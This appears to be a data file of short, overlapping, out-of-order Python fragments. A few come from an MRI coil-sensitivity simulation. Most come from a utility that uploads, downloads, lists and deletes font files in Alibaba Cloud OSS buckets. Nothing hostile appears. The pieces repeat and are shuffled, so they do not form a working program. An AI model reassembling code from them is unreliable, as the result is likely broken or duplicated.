"= [ np.cos(coil_idx / num_coils * 2 * np.pi + offset).item(), np.sin(coil_idx /",
"from typing import List, Optional, Tuple, Union import numpy as np from scipy.stats",
"for ii in range(len(shape)): cov[ii] = var cov = np.diag(cov) if seed: np.random.seed(seed)",
"(nx, ny, nz). num_coils: int Number of coils to be simulated. var: float",
"math:: \\sum_{k=1}^{n_c} {S^{k}}^{*}S^{k} = I. \"\"\" if num_coils == 1: return np.ones(shape)[None] +"
] |
[
"progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload response: %s' % upload_res) if upload_res.status ==",
"self.logger.error('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[],",
"os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('',",
"%s Fonts in bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket : %s",
"file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') #",
"1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload response: %s' % upload_res) if upload_res.status",
"config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list",
"from aliOss.oss_manage import OssManager class BucketManager: def __init__(self, internet=True): log = Log() self.logger",
"while download fonts' % font_file) except Exception as e: self.logger.exception('Exception catched while download",
"bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name",
"%s' % bucket_name) break if fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names)",
"%s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='',",
"bucket %s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100 *",
"in bucket %s' % bucket_name) self.logger.info('No fonts matched to be deleted in bucket",
"bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE)",
"total_bytes: # time.sleep(30) rate = int(100 * (float(consumed_bytes) / float(total_bytes))) if rate !=",
"fonts_bucket.bucket_name)) else: print('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font",
"== 0 or rate % 100 == 0: print(' {0}% '.format(rate), end=' ')",
"upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket",
"for fonts_file in iter(get_fonts_files): print('Fonts to be uploaded to ali oss: %s' %",
"deleted in bucket %s' % (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s'",
"% fonts_file) self.logger.info('Fonts to be uploaded to ali oss: %s' % fonts_file) self.upload_fonts(fonts_file)",
"= self.get_auth() # self.region = region self.inter_net = internet # self.buck_name = bucket_name",
"%s' % delete_res) if delete_res.status == 200 or delete_res.resp.status == \"OK\": self.logger.info( 'Font",
"config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 *",
"for font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in file_name",
"if you are not in a aliyun env, please set it to False",
"or upload_res.resp.status == \"OK\": print('Font %s upload to bucket %s successed' % (file_name,",
"# get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name #",
"bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def percentage(self, consumed_bytes,",
"font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path,",
"get_fonts_from_local from conf import config from aliOss.oss_manage import OssManager class BucketManager: def __init__(self,",
"== \"OK\": print('Font %s upload to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font",
"coding=utf-8 # author: <EMAIL> import oss2 import json import base64 import os import",
":param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if total_bytes: # time.sleep(30) rate =",
"fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000)",
"bucket_name, fonts_list in fonts_dict: for bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is",
"fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download all fonts from",
"fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref)",
"file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket",
"log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region = region self.inter_net = internet # self.buck_name",
"fonts_dict[bucket_name] print('There is total %s Fonts in bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts",
"0: print(' {0}% '.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self, file_path): file_name = file_path.split('/')[-1]",
"# get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir,",
"%s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for download in bucket %s'",
"def get_font_bucket(self): oss_manager = OssManager() for font_bucket_region in config.ali_fonts_bucket: region = font_bucket_region font_oss_url",
"fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage dir",
"delete from bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='',",
"= self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name, fonts_list in fonts_dict: for bucket_name in",
"file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' % file_name) def download_fonts(self, keyword='', pref=''): for fonts_bucket",
"self.logger.info('%s' % file_name) def download_fonts(self, keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()): # get",
"def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file in iter(get_fonts_files): print('Fonts to be uploaded",
"BucketManager(internet=inter_net) # print all fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # #",
"to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets",
"fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else:",
"OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager",
"files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref) # print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name]",
"import islice from utils.get_logger import Log from utils.fonts_scanner import get_fonts_from_local from conf import",
"self.logger.error( 'Font %s delete from bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass",
"file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts %s matched for download in bucket %s'",
"region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name",
"# # download all fonts from to local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test')",
"break if fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to",
"__name__ == '__main__': bucket_region = 'shanghai' # if you are not in a",
"bucket_name) for font in fonts_list: file_name = font.key if file_name.endswith('tf'): print('%s' % file_name)",
"rate % 25 == 0 or rate % 50 == 0 or rate",
"bucket %s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket %s successed'",
"fonts_dict = {} for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info =",
"as en: self.logger.exception('Font %s not found while download fonts' % font_file) except Exception",
"== 0 or rate % 50 == 0 or rate % 75 ==",
"import oss2 import json import base64 import os import sys import time from",
"% (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for download in bucket %s' %",
"file_name = font.key if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' % file_name) def download_fonts(self,",
"oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def",
"utils.fonts_scanner import get_fonts_from_local from conf import config from aliOss.oss_manage import OssManager class BucketManager:",
"% (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name))",
"pref=pref) # print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list = [] print('No",
"keyword in file_name and file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts %s matched for",
"(file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) def",
"= 'shanghai' # if you are not in a aliyun env, please set",
"import json import base64 import os import sys import time from itertools import",
"bucket %s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket %s failed'",
"% file_name) def download_fonts(self, keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()): # get bucket",
"def download_fonts(self, keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info",
"def print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name, fonts_list",
"(delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete from bucket %s failed' % (delete_res.deleted_keys,",
"aliOss.oss_manage import OssManager class BucketManager: def __init__(self, internet=True): log = Log() self.logger =",
"if delete_res.status == 200 or delete_res.resp.status == \"OK\": self.logger.info( 'Font %s delete from",
"internet=True): log = Log() self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region =",
"%s not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) self.logger.debug('fonts %s",
"store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload",
"print('There is total %s Fonts in bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in",
"en: self.logger.exception('Font %s not found while download fonts' % font_file) except Exception as",
"be deleted in bucket %s' % (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names) print('Delete response:",
"'__main__': bucket_region = 'shanghai' # if you are not in a aliyun env,",
"font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list",
"% (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100 * 1024, num_threads=3,",
"# print('fonts %s not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name))",
"be uploaded to ali oss: %s' % fonts_file) self.logger.info('Fonts to be uploaded to",
"OssManager class BucketManager: def __init__(self, internet=True): log = Log() self.logger = log.logger_generate('bucket_manage') self.auth",
"% font_file) except Exception as e: self.logger.exception('Exception catched while download fonts %s: %s'",
"% (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='', pref=''): fonts_dict = {} for",
"to be uploaded to ali oss: %s' % fonts_file) self.logger.info('Fonts to be uploaded",
"= font_bucket_region font_oss_url = oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url,",
"deleted in bucket %s' % bucket_name) self.logger.info('No fonts matched to be deleted in",
"oss: %s' % fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region = 'shanghai' #",
"fonts_list = fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name: keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref),",
"if file_name.endswith('tf'): print('%s' % file_name) self.logger.info('%s' % file_name) def download_fonts(self, keyword='', pref=''): for",
"%s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='', pref=''): fonts_dict =",
"fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name))",
"int(100 * (float(consumed_bytes) / float(total_bytes))) if rate != 0 and rate % 25",
"fonts_file) self.upload_fonts(fonts_file) if __name__ == '__main__': bucket_region = 'shanghai' # if you are",
"region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir",
"fonts_bucket.batch_delete_objects(fonts_names) print('Delete response: %s' % delete_res) self.logger.info('Delete response: %s' % delete_res) if delete_res.status",
"oss: %s' % fonts_file) self.logger.info('Fonts to be uploaded to ali oss: %s' %",
":param total_bytes: 总数据量 \"\"\" if total_bytes: # time.sleep(30) rate = int(100 * (float(consumed_bytes)",
"fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self,",
"conf import config from aliOss.oss_manage import OssManager class BucketManager: def __init__(self, internet=True): log",
"fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1]",
"%s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s",
"fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir']",
"%s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to",
"fonts' % font_file) except Exception as e: self.logger.exception('Exception catched while download fonts %s:",
"while download fonts %s: %s' % (font_file, e)) else: # print('fonts %s not",
"Exception as e: self.logger.exception('Exception catched while download fonts %s: %s' % (font_file, e))",
"config from aliOss.oss_manage import OssManager class BucketManager: def __init__(self, internet=True): log = Log()",
"bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list =",
"import get_fonts_from_local from conf import config from aliOss.oss_manage import OssManager class BucketManager: def",
"\"OK\": self.logger.info( 'Font %s delete from bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else:",
"in fonts_dict: for bucket_name in fonts_dict: fonts_list = fonts_dict[bucket_name] print('There is total %s",
"log = Log() self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region = region",
"# get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s'",
"fonts matched to be deleted in bucket %s' % bucket_name) break if fonts_list:",
"in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] #",
"in bucket : %s ' % bucket_name) for font in fonts_list: file_name =",
"fonts_list)) print(fonts_names) print('Fonts %s to be deleted in bucket %s' % (fonts_names, bucket_name))",
"%s' % (font_file.key, fonts_bucket.bucket_name)) try: oss2.resumable_download(fonts_bucket, font_file, '../downloads/' + font_file, part_size=100 * 1024,",
"(len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket : %s ' % bucket_name) for font in",
"= region self.inter_net = internet # self.buck_name = bucket_name @staticmethod def get_auth(): auth",
"to local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all",
"% (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket",
"# self.buck_name = bucket_name @staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid, config.ali_accesskeysecret) return auth",
"to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) self.logger.info('Font %s upload to bucket %s",
"bucket_name) self.logger.info('No fonts matched to be deleted in bucket %s' % bucket_name) break",
"fonts_list = fonts_dict[bucket_name] else: fonts_list = [] print('No fonts matched to be deleted",
"200 or delete_res.resp.status == \"OK\": self.logger.info( 'Font %s delete from bucket %s successed'",
"self.logger.debug('fonts %s not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name)) def",
"dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for",
"font_file.key: print('fonts %s matched for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info(",
"已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\" if total_bytes: # time.sleep(30) rate = int(100 *",
"dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names))",
"def __init__(self, internet=True): log = Log() self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth() #",
"0 or rate % 50 == 0 or rate % 75 == 0",
"fonts from to local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') #",
"file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n')",
"delete from bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete",
"in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if file_name.endswith('tf') and keyword in file_name and file_name.startswith(pref)",
"if fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list = [] print('No fonts matched to",
"%s ' % bucket_name) for font in fonts_list: file_name = font.key if file_name.endswith('tf'):",
"bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for download in bucket",
"fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete from bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name))",
"1024, part_size=100 * 1024, progress_callback=self.percentage, num_threads=4) print('', end='\\n') # print('Upload response: %s' %",
"bucket:%s ' % (len(fonts_list), bucket_name)) self.logger.info('Fonts in bucket : %s ' % bucket_name)",
"in bucket %s' % (file_name, fonts_bucket.bucket_name)) def upload_fonts_files(self): get_fonts_files = get_fonts_from_local() for fonts_file",
"def create_bucket(self, region, bucket_name): oss_url = OssManager.get_oss_url(region, internal_net=False) bucket = oss2.Bucket(self.auth, oss_url, bucket_name)",
"self.logger = log.logger_generate('bucket_manage') self.auth = self.get_auth() # self.region = region self.inter_net = internet",
"print(fonts_dict) # for bucket_name, fonts_list in fonts_dict: for bucket_name in fonts_dict: fonts_list =",
"= config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'), multipart_threshold=100 * 1024, part_size=100",
"print('Upload response: %s' % upload_res) if upload_res.status == 200 or upload_res.resp.status == \"OK\":",
"matched to be deleted in bucket %s' % bucket_name) break if fonts_list: fonts_names",
"print('Fonts to be uploaded to ali oss: %s' % fonts_file) self.logger.info('Fonts to be",
"%s to be deleted in bucket %s' % (fonts_names, bucket_name)) delete_res = fonts_bucket.batch_delete_objects(fonts_names)",
"fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict = self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name,",
"deleted in bucket %s' % bucket_name) break if fonts_list: fonts_names = list(map(lambda font_oss_object:",
"# oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file in oss_object_list: file_name = font_file.key.split(fonts_dir)[-1] if",
"from to local dir ./downloads/ # bk_manage.download_fonts(keyword='test', pref='test') # bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload",
"(fonts_names, bucket_name)) self.logger.info('Fonts %s to be deleted in bucket %s' % (fonts_names, bucket_name))",
"%s failed' % (file_name, fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket()",
"# time.sleep(30) rate = int(100 * (float(consumed_bytes) / float(total_bytes))) if rate != 0",
"fonts_dir in font_file.key: print('fonts %s matched for download in bucket %s' % (font_file.key,",
"be deleted in bucket %s' % bucket_name) self.logger.info('No fonts matched to be deleted",
"set it to False inter_net = False bk_manage = BucketManager(internet=inter_net) # print all",
"'.format(rate), end=' ') sys.stdout.flush() def upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket()",
"font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as en: self.logger.exception('Font %s",
"# print all fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') # # download",
"utils.get_logger import Log from utils.fonts_scanner import get_fonts_from_local from conf import config from aliOss.oss_manage",
"== '__main__': bucket_region = 'shanghai' # if you are not in a aliyun",
"fonts_dir = config.ali_fonts_bucket[region]['font_dir'] bucket_name = fonts_bucket.bucket_name # oss2.ObjectIteratorr用于遍历文件。 oss_object_list = oss2.ObjectIterator(fonts_bucket) for font_file",
"successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete from bucket %s failed'",
"# print(fonts_dict) if fonts_dict: fonts_list = fonts_dict[bucket_name] else: fonts_list = [] print('No fonts",
"%s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s delete from bucket %s",
"bucket = oss2.Bucket(self.auth, oss_url, bucket_name) # 设置存储空间为私有读写权限。 bucket.create_bucket(oss2.models.BUCKET_ACL_PRIVATE) def get_font_bucket(self): oss_manager = OssManager()",
"Log from utils.fonts_scanner import get_fonts_from_local from conf import config from aliOss.oss_manage import OssManager",
"= file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket region",
"oss2.exceptions.NotFound as en: self.logger.exception('Font %s not found while download fonts' % font_file) except",
"self.inter_net = internet # self.buck_name = bucket_name @staticmethod def get_auth(): auth = oss2.Auth(config.ali_accesskeyid,",
"(float(consumed_bytes) / float(total_bytes))) if rate != 0 and rate % 25 == 0",
"else: print('Font %s upload to bucket %s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s",
"font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量 \"\"\"",
"self.get_font_bucket() for fonts_bucket in fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region",
"bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket, os.path.join(fonts_dir, file_name), file_path, store=oss2.ResumableStore(root='./tmp_files/uploads'),",
"') sys.stdout.flush() def upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket",
"font_file, '../downloads/' + font_file, part_size=100 * 1024, num_threads=3, progress_callback=self.percentage, store=oss2.ResumableDownloadStore(root='./tmp_files/downloads')) except oss2.exceptions.NotFound as",
"upload_fonts(self, file_path): file_name = file_path.split('/')[-1] fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets: #",
"self.get_fonts(keyword=keyword, pref=pref) print(fonts_dict) # for bucket_name, fonts_list in fonts_dict: for bucket_name in fonts_dict:",
"# bk_manage.download_fonts(keyword='AlibabaSans', pref='AlibabaSans') # upload all fonts in local dir ./fonts/ # bk_manage.upload_fonts_files()",
"print(fonts_names) print('Fonts %s to be deleted in bucket %s' % (fonts_names, bucket_name)) self.logger.info('Fonts",
"fonts_bucket.bucket_name)) self.logger.debug('fonts %s not matched for download in bucket %s' % (file_name, fonts_bucket.bucket_name))",
"response: %s' % delete_res) if delete_res.status == 200 or delete_res.resp.status == \"OK\": self.logger.info(",
"= oss_manager.get_oss_url(region, internal_net=self.inter_net) bucket_name = config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket",
"keyword in fonts_name.key and fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def print_fonts(self,",
"== \"OK\": self.logger.info( 'Font %s delete from bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name))",
"download fonts' % font_file) except Exception as e: self.logger.exception('Exception catched while download fonts",
"fonts_name.key.split(fonts_dir)[-1].startswith(pref), fonts_list)) fonts_dict[fonts_bucket.bucket_name] = fonts_names return fonts_dict def print_fonts(self, keyword='', pref=''): fonts_dict =",
"if fonts_list: fonts_names = list(map(lambda font_oss_object: font_oss_object.key, fonts_list)) print(fonts_names) print('Fonts %s to be",
"bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir,",
"fonts_bucket.bucket_name)) def delete_fonts(self, files_names=[], keyword='', pref=''): fonts_buckets = self.get_font_bucket() for fonts_bucket in fonts_buckets:",
"file_name) self.logger.info('%s' % file_name) def download_fonts(self, keyword='', pref=''): for fonts_bucket in iter(self.get_font_bucket()): #",
"% (font_file, e)) else: # print('fonts %s not matched for download in bucket",
"to bucket %s successed' % (file_name, fonts_bucket.bucket_name)) else: print('Font %s upload to bucket",
"fonts_bucket in iter(self.get_font_bucket()): # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1]",
"author: <EMAIL> import oss2 import json import base64 import os import sys import",
"%s failed' % (file_name, fonts_bucket.bucket_name)) self.logger.error('Font %s upload to bucket %s failed' %",
"= False bk_manage = BucketManager(internet=inter_net) # print all fonts in ali oss font_dir",
"= BucketManager(internet=inter_net) # print all fonts in ali oss font_dir bk_manage.print_fonts(keyword='AlibabaSans', pref='AlibabaSans') #",
"to be uploaded to ali oss: %s' % fonts_file) self.upload_fonts(fonts_file) if __name__ ==",
"files_names: fonts_list = list(map(lambda file_name: os.path.join(fonts_dir, file_name), files_names)) else: fonts_dict = self.get_fonts(keyword=keyword, pref=pref)",
"%s delete from bucket %s successed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: self.logger.error( 'Font %s",
"bucket %s failed' % (delete_res.deleted_keys, fonts_bucket.bucket_name)) else: pass def get_fonts(self, keyword='', pref=''): fonts_dict",
"yield font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比 :param consumed_bytes: 已经上传/下载的数据量 :param total_bytes: 总数据量",
"fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list = fonts_list_object.object_list fonts_names = list(filter( lambda fonts_name: keyword in fonts_name.key",
"print('', end='\\n') # print('Upload response: %s' % upload_res) if upload_res.status == 200 or",
"for download in bucket %s' % (font_file.key, fonts_bucket.bucket_name)) self.logger.info( 'fonts %s matched for",
"bucket_name = config.ali_fonts_bucket[region]['bucket_name'] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] if",
"= config.ali_fonts_bucket[region]['font_dir'] self.logger.info('Fonts storage direction %s' % fonts_dir) fonts_list_object = fonts_bucket.list_objects(prefix=fonts_dir, max_keys=1000) fonts_list",
"config.ali_fonts_bucket[font_bucket_region]['bucket_name'] font_bucket = oss2.Bucket(self.auth, font_oss_url, bucket_name) yield font_bucket def percentage(self, consumed_bytes, total_bytes): \"\"\"进度条回调函数,计算当前完成的百分比",
"# get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] bucket_name = config.ali_fonts_bucket[region]['bucket_name']",
"fonts_buckets: # get bucket region fonts_bucket_info = fonts_bucket.get_bucket_info() region = fonts_bucket_info.location.split('-')[-1] # get",
": %s ' % bucket_name) for font in fonts_list: file_name = font.key if",
"file_name and file_name.startswith(pref) and fonts_dir in font_file.key: print('fonts %s matched for download in",
"fonts_bucket_info.location.split('-')[-1] # get font bucket sotorage dir fonts_dir = config.ali_fonts_bucket[region]['font_dir'] upload_res = oss2.resumable_upload(fonts_bucket,",
